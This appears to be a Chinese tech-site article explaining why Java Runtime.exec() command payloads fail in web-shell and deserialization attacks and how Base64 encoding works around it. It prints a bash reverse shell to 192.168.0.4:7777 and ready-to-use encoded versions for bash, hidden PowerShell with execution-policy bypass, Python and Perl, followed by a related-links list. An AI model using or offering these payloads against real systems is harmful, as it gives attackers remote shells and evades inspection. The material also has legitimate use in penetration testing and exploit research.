java.lang.Runtime.exec() Payload知识点详解
2020-03-12 07:09
2146 查看
有时,通过Runtime.getRuntime().exec()执行命令的有效负载有时会失败。使用Web Shell,反序列化利用或通过其他媒介时,可能会发生这种情况。
有时这是因为重定向和管道字符的使用在启动过程的上下文中没有意义。例如,在shell中执行ls> dir_listing会将当前目录的列表输出到名为dir_listing的文件中。但是在exec()函数的上下文中,该命令将被解释为获取>和dir_listing目录的列表。
有时,StringTokenizer类会破坏其中包含空格的参数,该类将命令字符串按空格分隔。像ls“我的目录”之类的东西将被解释为ls“我的目录”。
借助Base64编码,下面的转换器可以帮助减少这些问题。它可以通过调用Bash或PowerShell来制作管道并重新定向,还可以确保参数内没有空格。
样例:
原文
bash -i >& /dev/tcp/192.168.0.4/7777 0>&1
编码后:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i} #bash powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc YgBhAHMAaAAgAC0AaQAgAD4AJgAgAC8AZABlAHYALwB0AGMAcAAvADEAOQAyAC4AMQA2ADgALgAwAC4ANAAvADcANwA3ADcAIAAwAD4AJgAxAA== #powershell python -c exec('YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC83Nzc3IDA+JjE='.decode('base64')) #python perl -MMIME::Base64 -e eval(decode_base64('YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC83Nzc3IDA+JjE=')) #perl
中间的字符均为“base64”编码。
知识点扩展:
java.lang.Runtime.getRuntime().exec(cmd)命令中参数不能用空格怎么办?
项目中无法执行c程序,猜测是exec()函数的问题
String cmd= exe_path + " " +video + " " +host + ":" + port;
Process process = runtime.exec(cmd);
到此这篇关于java.lang.Runtime.exec() Payload知识点详解的文章就介绍到这了,更多相关java.lang.Runtime.exec() Payload内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!
您可能感兴趣的文章:
相关文章推荐
- java.lang.Runtime.exec() Payload Workarounds
- java.lang.Runtime.exec的左膀右臂:流输入和流读取
- 出现java.lang.NoClassDefFoundError: org/apache/commons/lang/exception/NestableRuntimeException的错误详解
- java.lang.Runtime.getRuntime().exec 调用后,等待被调用程序结束后再继续执行
- Java Runtime.getRuntime().exec()详解
- Java魔法堂:找外援的利器——Runtime.exec详解
- 调用java.lang.Runtime.exec的正确姿势
- Java魔法堂:找外援的利器——Runtime.exec详解
- ambari-server启动出现Caused by: java.lang.RuntimeException:java.lang.ClassNotFoundEception:com.mysql.jdbc.Driver问题解决办法(图文详解)
- java.lang.Runtime.exec的笔记
- java Runtime.exec方法详解!
- 『转载』java.lang.Runtime.exec
- Java运行系统命令并获取值(Process java.lang.Runtime.exec(String[] cmdarray, String[] envp, File dir)
- [Java] 关于java.lang.Runtime.exec()方法运行命令所在目录的探讨。
- seam的异常总结——java.lang.RuntimeException: exception invoking: getTransaction
- java runtime.exec()
- [Struts2]严重: Dispatcher initialization failed java.lang.RuntimeException
- AndroidHttpClient java.lang.RuntimeException: This thread forbids HTTP requests
- Java中关于包的知识点详解
- Exception in thread "main" java.lang.NoClassDefFoundError: org/eclipse/core/runtime/jobs/Job